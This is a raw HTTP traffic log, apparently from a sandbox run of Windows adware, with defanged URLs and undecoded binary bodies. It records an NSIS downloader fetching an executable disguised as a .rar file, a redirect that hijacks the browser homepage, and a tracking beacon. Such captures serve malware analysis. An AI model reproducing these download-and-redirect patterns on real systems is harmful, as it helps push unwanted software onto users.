2x...........y....Z...Yx...#Sh..$....~..8.a..KY...*y....@...4....PC........q..r.".X.B.^..I.1...;.es...$....x"..q$QA.)\....X`..P.......J8.....aqp...L..!..`.1..r.......".....h.N7.}..$...C.Q......P.(<....?....t.....!.N45.B.*?...............py.$.@2...4...<!$.20P`..Pd.. Y....)..B........H............"..#..........D.Z,...E.RD 3... \,..;.T..2V`.H.. .D"L......A.!R.!B.....C]$..0[...4R.2..D..A!j...0?DAG..84.&.T1..R....6H!..eD.B..t.......-s81.......?.R./..1F...D..v....O..H#..-uB..3.=Xc....

<<

<<< skipped >>>

GET /v53/get_tj.php?hz=4666521&ids=qiche HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://123.sogou.com/?22014

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1399956570462_5852_00001; CKOR=6846_00001_00000; CKOD=3030_00000_00000; IPLOC=UA; _seCityCode2=CN110100; tjv2_cont=00_01_08_09; GOTO=Af22014; SUV=00DD04B9C18AF4E75371A458B1D10495

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:31 GMT

Content-Type: text/javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.1.6

10b3..{"qiche":[{"tab":"\u6c7d\u8f66","taburl":"http:\/\/123.sogou.com\/shwz\/qiche.html","list":[{"picurl":"http:\/\/pic4.xcarimg.com\/img\/news_photo\/2014\/05\/12\/fIXLig2wT89333.jpg","url":"http:\/\/price.xcar.com.cn\/serise166\/city9999-1-1.htm?zoneclick=100517","title":"\u51ef\u7f8e\u745e\u21934.1\u4e07","price":""},{"picurl":"http:\/\/pic1.xcarimg.com\/img\/news_photo\/2014\/05\/12\/1oq9Gg9Y3L8813.jpg","url":"http:\/\/price.xcar.com.cn\/serise601\/city9999-1-1.htm?zoneclick=100517","title":"\u5e15\u8428\u7279\u21933.6\u4e07","price":""},{"url":"http:\/\/price.xcar.com.cn\/serise1087\/city9999-1-1.htm?zoneclick=100517","title":"\u6bd4\u4e9a\u8feaS6 \u73b0\u91d1\u4f18\u60e01\u4e07\u5143","color":false},{"url":"http:\/\/price.xcar.com.cn\/serise1608\/city9999-1-1.htm?zoneclick=100517","title":"\u65b0\u4e00\u4ee3\u8f69\u9038 \u4f18\u60e01.7\u4e07\u5143","color":false},{"url":"http:\/\/price.xcar.com.cn\/serise257\/city9999-1-1.htm?zoneclick=100517","title":"\u6bd4\u4e9a\u8feaF3 \u73b0\u91d1\u4f18\u60e01\u4e07\u5143","color":false},{"url":"http:\/\/price.xcar.com.cn\/serise1338\/city9999-1-1.htm?zoneclick=100517","title":"\u5954\u9a70GLK\u7ea7 \u8d2d\u8f66\u4f18\u60e05.5\u4e07","color":false}]},{"tab":"\u65b0\u8f66","taburl":"http:\/\/123.sogou.com\/shwz\/qiche.html","list":[{"picurl":"http:\/\/pic5.xcarimg.com\/img\/news_photo\/2014\/05\/12\/O2xA3C6VhB1569.jpg","url":"http:\/\/price.xcar.com.cn\/serise1261\/city9999-1-1.htm?zoneclick=100518","title":"\u9038\u81f4","price":"\u964d2.6\u4e07"},{"picurl":"htt

<<

<<< skipped >>>

GET /imgu/2014/05/20140512170546_833.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p9.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/jpeg

Content-Length: 4723

Last-Modified: Mon, 12 May 2014 09:05:46 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

......JFIF.............0Exif..II*.......1...............VVV.meitu.com....C....................................................................C.......................................................................=._...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....0..4.....2..:v...".j.2Z.=.NQ...?..{..r...FH.k..V..6t.1k].}*......Q.Gs..8?.j..".Z0...=..>'..m...}..2].........c. ..W.*>...9jBQ......H.t..n...E..7......1.9..K..G.'.3...K$..i..^......E.....MJ.S.YL.kef.7............~f....4..g.N.\ms.[....>.~..?.k...>..'..GE.x......=>.{..Ve...x.e|J...@ ..$...S.8..FV.6kB........{./...._.>(j..~#iia.h......t.A2r.2...`......tj.M{........f5..\...Y..X...Mc....2.>.....{I...U.......ZS.i.....[X....} X.Ah.`I...t....}.*..d.f..2.....i.h...V....gf.r......}..:..Q((J.3...u..^.d..t.N.Wq....JM.rH.f........K...0..x.kf.k..F.0..S.........f....g...nO....Gj.p..V.wZt:'_....<...|..4v.II..s.'5........#*.....>1|2...ii.m8B......G.......$.Dy.i....O......>.......a.....-.O.............l.....N.5.P2....I.Y.85....k....<...S......<.w.s.....'.mlu......[.K..\.)%..6.....w.Sx...c...E....k.h...{..{_~...o.........-t...F....

<<

<<< skipped >>>

GET /img/news_photo/2014/05/12/fIXLig2wT89333.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pic4.xcarimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Tue, 12 May 2015 04:00:18 GMT

Date: Mon, 12 May 2014 04:00:18 GMT

Server: Apache

Last-Modified: Mon, 12 May 2014 02:55:05 GMT

Cache-Control: max-age=31536000

Content-Type: image/jpeg

Content-Length: 5534

Accept-Ranges: bytes

Xcar-Cache-Server: imgcache2-HIT

Age: 1

X-Via: 1.1 zjjx158:80 (Cdn Cache Server V2.0), 1.1 gl25:1 (Cdn Cache Server V2.0)

Connection: keep-alive

......Exif..II*.................Ducky.......d.....)hXXp://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:104A21BBC38311E382E2ECE6B616ED1C" xmpMM:DocumentID="xmp.did:104A21BCC38311E382E2ECE6B616ED1C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:104A21B9C38311E382E2ECE6B616ED1C" stRef:documentID="xmp.did:104A21BAC38311E382E2ECE6B616ED1C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.................................................................................................................................................U._..............................................................................................!..1.Q#..A".aq.2BR.3D&......................!1..AQaq..".........2R#3............?....N.8D...N.8D...N.8D...N.8D...N.8D...N.8D...N.8D...N.8D...N.8D...N.8D..~..?.1.wK..d...#...9..."....3L.E..pv.pPV(.....B...0..f.....Q.1?%W9C.~.c93....y..:I......9;..m.:.S1..W'0.c......aI.3.T.....N..0^...U..I;&...S.v.{N.:/s..N.......u..9T.T..S,...R..NJw...&<?uhUe...wY..f<.`MV..4.../..

<<

<<< skipped >>>

GET /hezi/jm/setup_a7158.rar HTTP/1.0

Host: VVV.sj88.com

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:28 GMT

Content-Type: application/x-rar-compressed

Content-Length: 3732104

Connection: close

Last-Modified: Wed, 07 May 2014 07:50:55 GMT

X-Cache: EXPIRED

X-Cache: HIT

Accept-Ranges: bytes

MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....WZR..................................... ....@.................................L=9..........@....................................................8..............................................................................................text...,........................... ..`.itext..D........................... ..`.data........ ......................@....bss.....V...0...........................idata..............................@....tls.....................................rdata..............................@..@.rsrc................ ..............@..@....................................@..@..................................................................................................................................................................@...AnsiChar............@...string(.@...AnsiString......@...............................@......... 9@.(9@..9@..9@..9@..9@..9@..9@.,8@.H8@..8@..TObject.%..A....%..A....%..A....%..A....%..A....%..A....%(.A....%..A....%$.A....%..A....%..A....%..A....%..A....%..A....%|.A....%x.A....%t.A....%p.A....%l.A....%h.A....% .A....%d.A....%`.A....%\.A....%..A....%..A....%..A....%X.A....%T.A....%..A....%..A....%..A....%P.A....%L.A....%H.A....%D.A....%@.A...S..........$D...T.J....D$,.t...\$0....D[..@..%<.A....%8.A....

<<

<<< skipped >>>

GET /img/news_photo/2014/05/12/1oq9Gg9Y3L8813.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pic1.xcarimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Tue, 12 May 2015 04:00:18 GMT

Date: Mon, 12 May 2014 04:00:18 GMT

Server: Apache

Last-Modified: Mon, 12 May 2014 02:55:16 GMT

Cache-Control: max-age=31536000

Content-Type: image/jpeg

Content-Length: 5243

Accept-Ranges: bytes

Xcar-Cache-Server: imgcache1-HIT

Age: 1

X-Via: 1.1 tzwl37:8080 (Cdn Cache Server V2.0), 1.1 gl27:1 (Cdn Cache Server V2.0)

Connection: keep-alive

......Exif..II*.................Ducky.......d.....)hXXp://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:297A1A15C38311E387729AE07621B962" xmpMM:DocumentID="xmp.did:297A1A16C38311E387729AE07621B962"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:297A1A13C38311E387729AE07621B962" stRef:documentID="xmp.did:297A1A14C38311E387729AE07621B962"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.................................................................................................................................................U._...............................................................................................!1....AQa#.R$."2Br%.......................!1.AQa...q.."..BR...$............?.............................................................03.X..5,.......d[DUy (.e...|{b....Q.P.PI..R.!.L....8C}....1.X.... .`1..i ..jR....t.p.7.......8T.a....*...........2V..:..w..?....!.s... nl.@....)..vK(.S&t}..l....A.....0.J...0...*....".....2....3(E=0 v92.>."D.;. *..Cn.....Q=..VS.D

<<

<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: lvdou.300duo.com

Connection: Keep-Alive

HTTP/1.1 302 Object moved

Date: Tue, 13 May 2014 04:49:23 GMT

Server: Microsoft-IIS/6.0

Location: hXXp://123.sogou.com/?22014

Content-Length: 148

Content-Type: text/html

Set-Cookie: daohang=1; path=/

Set-Cookie: ASPSESSIONIDAAQBQDRT=LPBGIBHAHMIAKLCFMNMJAIJH; path=/

Cache-control: private

<head><title>Object moved</title></head>.<body><h1>Object Moved</h1>This object may be found <a HREF="hXXp://123.sogou.com/?22014">here</a>.</body>.HTTP/1.1 302 Object moved..Date: Tue, 13 May 2014 04:49:23 GMT..Server: Microsoft-IIS/6.0..Location: hXXp://123.sogou.com/?22014..Content-Length: 148..Content-Type: text/html..Set-Cookie: daohang=1; path=/..Set-Cookie: ASPSESSIONIDAAQBQDRT=LPBGIBHAHMIAKLCFMNMJAIJH; path=/..Cache-control: private..<head><title>Object moved</title></head>.<body><h1>Object Moved</h1>This object may be found <a HREF="hXXp://123.sogou.com/?22014">here</a>.</body>...

GET /?22014 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 123.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:17 GMT

Content-Type: text/html; charset=gbk

Transfer-Encoding: chunked

Connection: keep-alive

P3P: CP="NON DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa HISa TELa OTPa OUR UNRa IND UNI COM NAV INT DEM CNT PRELOC"

Content-Encoding: gzip

90c9................\.u/...gb!..=......`v..X........7.2....12N>6.A ....@ @...$.yy...G.;..b...~.sj.Uw..I..21..[.T..sN..N......{....$..V3...{.~p_b"9=.......O.O|....y8.I..O..v.1ht.Nsz.......`.]..^[[K..R.^m..'......,?&......2.|?...]..|..1h..W>:}..g.N.<..........W~.......y..L.;..O3.\...u..r.u..x...;p0.A7...6V.&..|zOr_..u..R..H.;....,M<x`.@k.t....f'.................`...X.;..;X..V0.........w}......0.)=.)5...?...............s.....N......n....v..............g.....3ZN.....}...M..t......8y..o..z.....x..H?{s.c...r...u....U..............{.....o.A.{.....#....^.y....^?v........}..K.~|...?<.W....[.....7....O....s?....?...g..._...7....4HB..?|.o...............;......n....c..$...J..6.&.X..D..V.&..-......*....&...[.y<.....8}4.....hI...x..;......U.....K.....B.]K...........-|.Z\k. ...j!..^..Z..|....C.j.....?....u3....K..*)M8.J..~z.iO.. ..t......Xr.. .?..b:.N.9.V..:...Z_..`N.....'Um..y_........8ht...}..CZ5R..f).Y5.-..1.!.V...V..V-....~5lo._:.. ...%.@.`........&.K....35lN5.S..T.......zv....N...j...j....T.m...T..e....*..Je.mm..^..^Hw..v.J.....-'...%........-g..ivz...*.-..' n...Bv.....Yn.No.......D...l..I...Y.6;.`..V.[.l.e_&A3..}...{.Z}...zne.I...I..Q.W<..\.....B.....s..-J.. ...[...P......0..Eh.,9..Z.._.&....59.v.Q...,......,....Uwq#..r....V!..........4HL|m...T...V.m.5*..B&.......G{k..*...2%..A.....M.;.F%1Y...bW..)..p`.f.....z......j>.).?i..#..3.t 4h..3.....K... 6y2.E.E.?.......09(.M...@..a..RkT..C.-..V.....;...~7..O ...j.;._i.s)..oW..I..........>...F..t..J.NyE""W0.M8..H?x..&A.O..e.4......1.,.h..a.........M...

<<

<<< skipped >>>

GET //v53/get_123_v53.php?block=wt&ver=v53&gfg=1&city=unknown&pid=Af22014&c=1399956570478&method=ajaf&cbf=fn HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1399956570462_5852_00001; CKOR=6846_00001_00000; CKOD=3030_00000_00000; GOTO=Af22014

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: text/javascript; charset=gbk

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: IPLOC=UA; path=/

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

X-Powered-By: PHP/5.1.6

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: max-age=0

e02..sg_wt_cb({"cn":["110100","北京"],"wt7":[["2014-05-13",2,"多云","cloudy.gif",17,30,"北风 3-4级"],["2014-05-14",3,"晴转多云","fine_cloudy.gif",10,24,"北风 3-4级"],["2014-05-15",4,"晴转多云","fine_cloudy.gif",16,29,"微风"],["2014-05-16",5,"晴转多云","fine_cloudy.gif",18,29,"微风"],["2014-05-17",6,"阴","cloudy.gif",15,25,"微风"],["2014-05-18",0,"阴转多云","cloudy.gif",14,24,"微风"],["2014-05-19",1,"多云","cloudy.gif",16,27,"微风"]],"city":"CN110100","ip":"193.138.244.231","md":"05-13","week":"2","nongli":"四月十五","tuanmv":"","pm":138});tjv2_cb({"tj_utag":"00_01_08","data":{"news":[{"tab":"\u5934\u6761","taburl":"http:\/\/123.sogou.com\/xinwen\/","list":[{"title":"\u7f51\u6c11\u5728\u5883\u5916\u7f51\u7ad9\u62b9\u9ed1\u4e2d\u56fd\u88ab\u5211\u62d8","picurl":0,"url":"http:\/\/news.sohu.com\/20140513\/n399470242.shtml?pvid=7d0a16e31613c9e0","color":false},{"title":"\u8700\u516c\u4ea4\u7206\u71c3\u7cfb\u4eba\u4e3a\u7eb5\u706b\u5acc\u72af\u88ab\u70e7\u6b7b","picurl":0,"url":"http:\/\/news.sohu.com\/20140513\/n399470183.shtml?pvid=7d0a16e31613c9e0","color":false},{"title":"\u4e4c\u514b\u51702\u5dde\u5ba3\u5e03\u6210\u4e3a\u72ec\u7acb\u4e3b\u6743\u56fd\u5bb6","picurl":0,"url":"http:\/\/news.qq.com\/a\/20140513\/000421.htm","color":"red"},{"title":"\u4e60\u8fd1\u

<<

<<< skipped >>>

GET /images/weather/fine_cloudy.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1399956570462_5852_00001; CKOR=6846_00001_00000; CKOD=3030_00000_00000; IPLOC=UA; GOTO=Af22014; SUV=00461146C18AF4E75371A4556E6A4053

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:26 GMT

Content-Type: image/gif

Content-Length: 1751

Connection: keep-alive

Last-Modified: Sun, 09 Oct 2011 10:21:05 GMT

ETag: "4e917591-6d7"

Expires: Sun, 18 May 2014 09:22:34 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a(.(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................0..[..m..............D....................$.............................'..=..O..]..k..6..M..w..............C..Y....................h.................Q..u..............J..Y..q.............................q.................................!.......,....(.(........H......*\....D..E..(."......I.%..6}..(.F..6e.$J..h.......&M&O....S.w....6...w.@......J..Q..J.UU.X.R....M..&.I...U.b.Z....U..........>."g.T,T.f..% .-_.\.".-.... A.....Y.R.*Fl..f...j....P.0>.T...X.s......e...;......0v.....Z.HE.....|........v.H6L...8S.........}<..)....i..i.%..#H....E.X1k...N.PxQB._.@.>. c.(.4......K,.0..3.....J....B(.....S.6...."p...,.(.M7..s..T, ..R|@B.4..b-.@..#.............C..H.........T..#.(..'..3. ..#..$....At.E.(.`..9...<.....t...-..S..U..@.S....(HQ...p....8.."..../........@...H@.K.....6...;....$....:..0A..D`..R. ..)l..." a..5...?.(.J4..!..2\..... ...x....L...Y......y."...O.0(@..C.!E..t....4Q....pB.-.....`.-B...C...Q..]....S,...K....?....,...8...B.W(`..$..F.%|0..JLpB.A....O..2.....=5..@.

<<

<<< skipped >>>

GET /favicon.ico HTTP/1.1

User-Agent: ...............

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1399956570462_5852_00001; CKOR=6846_00001_00000; CKOD=3030_00000_00000; IPLOC=UA; _seCityCode2=CN110100; tjv2_cont=00_01_08_09; GOTO=Af22014; SUV=00DD04B9C18AF4E75371A458B1D10495

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:35 GMT

Content-Type: image/x-icon

Content-Length: 1150

Connection: keep-alive

Last-Modified: Wed, 21 Sep 2011 09:58:33 GMT

ETag: "4e79b549-47e"

Expires: Sun, 18 May 2014 09:22:29 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

............ .h.......(....... ..... .....@...................................ddd.aaa.___.]]].[[[.XXX.VVV.UUU.............................iiif............................VVV.UUUl....................}}}.....................................fff.UUU................o..........v..t...q..........................bbb.UUUQ....xxx...........F..o...............y............A.........VVV.UUU....v.........b...{...........}....!............... .....~~~.VVVT.........r#..o...w...v...h....E..................w..........XXX..........W...q...h...y(...............................U.....[[[..........X...g....E..........................y......../.....]]]..........g...[........................v..p............G.....___...........P..l...................b...o...~.......y..........aaa..............^...............X...s...x...|...|...n..........ddd-.............................T...l...o...m...b..........~~~......................................{6..o ...Z.............kkk.........................................................qqq............................&........................... ................................................................................HTTP/1.1 200 OK..Server: nginx..Date: Tue, 13 May 2014 04:49:35 GMT..Content-Type: image/x-icon..Content-Length: 1150..Connection: keep-alive..Last-Modified: Wed, 21 Sep 2011 09:58:33 GMT..ETag: "4e79b549-47e"..Expires: Sun, 18 May 2014 09:22:29 GMT..Cache-Control: max-age=2592000..Accept-Ranges: bytes.............. .h.......(....... ..... .....@...................................ddd

<<

<<< skipped >>>

GET /imgn/tips/lk_jumei.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p0.123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: image/png

Content-Length: 731

Last-Modified: Thu, 28 Feb 2013 09:01:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:25 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR...6...).............tEXtSoftware.Adobe ImageReadyq.e<...}IDATx.b<.2....3`., .6........@.$#...&..@.@....................A.1.;..v.....w-.s`....@......X.cR.bb ......?R4.m......$..v.....H...@.......7Ab.@/. 4...D.&`..'Y.C.|..5.".n.A.....KX.g'......KF$.3R.(c.K..&...6zZ.@W.@.XE......!]|vGJ%.......F`........gtO .j..!|....L.{..J...B.AN....,:...9r......,..Tx...z....N...Q.......0..........yr.>.......5.r.a.....]..>./..W2@.)...=..F-.k..g.hb....6........... .z0@.:.*.@y./@.!7x`...E......P..._c.~|.K`?X....u..%.!.)pr.....A......&...Xa~.n...rq.c..#.cQbr...c......hZ....h...S..]j....S...v%..i.Y.o...E..8......}.AG...=..T..\...V...Rx.=.j.~..."9.".....F=62=......... [.011...O........ .......GpA1...$Pu.......7.W.%x.....IEND.B`.HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:25 GMT..Content-Type: image/png..Content-Length: 731..Last-Modified: Thu, 28 Feb 2013 09:01:24 GMT..Connection: keep-alive..Expires: Thu, 12 Jun 2014 04:49:25 GMT..Cache-Control: max-age=2592000..Accept-Ranges: bytes...PNG........IHDR...6...).............tEXtSoftware.Adobe ImageReadyq.e<...}IDATx.b<.2....3`., .6........@.$#...&..@.@....................A.1.;..v.....w-.s`....@......X.cR.bb ......?R4.m......$..v.....H...@.......7Ab.@/. 4...D.&`..'Y.C.|..5.".n.A.....KX.g'......KF$.3R.(c.K..&...6zZ.@W.@.XE......!]|vGJ%.......F`........gtO .j..!|....L.{..J...B.AN....,:...9r......,..Tx...z....N...Q.......0..........yr.>.......5.r.a.....]..>./..W2@.)...=..F-.k..g.hb....6........... .z0@.:.*.@y./@.!7x`...E......P

<<

<<< skipped >>>

GET /15909623.asp HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: hXXp://tongji.uujzy.com/tongji.html?5.0.0.5002_id61_md1_os1

User-Agent: session

Host: img.users.51.la

HTTP/1.1 302 Object moved

Date: Tue, 13 May 2014 04:50:04 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Location: hXXp://vipimg.51.la:82/go.asp?svid=1&id=15909623&style=9&vpage=http://tongji.uujzy.com/tongji.html?5.0.0.5002_id61_md1_os1&46204.88.gif

Content-Length: 300

Content-Type: text/html

Cache-control: private

<head><title>Object moved</title></head>.<body><h1>Object Moved</h1>This object may be found <a HREF="hXXp://vipimg.51.la:82/go.asp?svid=1&id=15909623&style=9&vpage=http://tongji.uujzy.com/tongji.html?5.0%2E0.5002_id61_md1_os1&46204.88.gif">here</a>.</body>.HTTP/1.1 302 Object moved..Date: Tue, 13 May 2014 04:50:04 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Location: http://vipimg.51.la:82/go.asp?svid=1&id=15909623&style=9&vpage=http://tongji.uujzy.com/tongji.html?5.0.0.5002_id61_md1%5Fos1&46204.88.gif..Content-Length: 300..Content-Type: text/html..Cache-control: private..<head><title>Object moved</title></head>.<body><h1>Object Moved</h1>This object may be found <a HREF="hXXp://vipimg.51.la:82/go.asp?svid=1&id=15909623&style=9&vpage=http://tongji.uujzy.com/tongji.html?5.0.0.5002_id61_md1_os1&46204.88.gif">here</a>.</body>...

GET /imgn/123ie/search_arrow.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p7.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: image/gif

Content-Length: 447

Last-Modified: Wed, 25 Jul 2012 09:14:49 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:25 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a................$..................O...........FC...............QRR...{......{z.......m..li......fff......B...... %.<3.......l2.o.el......8.nWz{{58=.J....#r.T.....'....r|......Z.x4....&&'S.z..............3......YQ.............El..d,...4?......e...W...e.R}.....v....-......... *.f...vQ...9.h..............b....s..r.....M.{dY.x.....F.IJw..j....l...)p]_..6.R...Xeqy2AvcY."y....i.....f..........!.....~.,............~..............x.....x......;HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:25 GMT..Content-Type: image/gif..Content-Length: 447..Last-Modified: Wed, 25 Jul 2012 09:14:49 GMT..Connection: keep-alive..Expires: Thu, 12 Jun 2014 04:49:25 GMT..Cache-Control: max-age=2592000..Accept-Ranges: bytes..GIF89a................$..................O...........FC...............QRR...{......{z.......m..li......fff......B...... %.<3.......l2.o.el......8.nWz{{58=.J....#r.T.....'....r|......Z.x4....&&'S.z..............3......YQ.............El..d,...4?......e...W...e.R}.....v....-......... *.f...vQ...9.h..............b....s..r.....M.{dY.x.....F.IJw..j....l...)p]_..6.R...Xeqy2AvcY."y....i.....f..........!.....~.,............~..............x.....x......;t>....

GET /imgu/2014/05/20140513112717_7.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p7.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/jpeg

Content-Length: 11976

Last-Modified: Tue, 13 May 2014 03:27:17 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

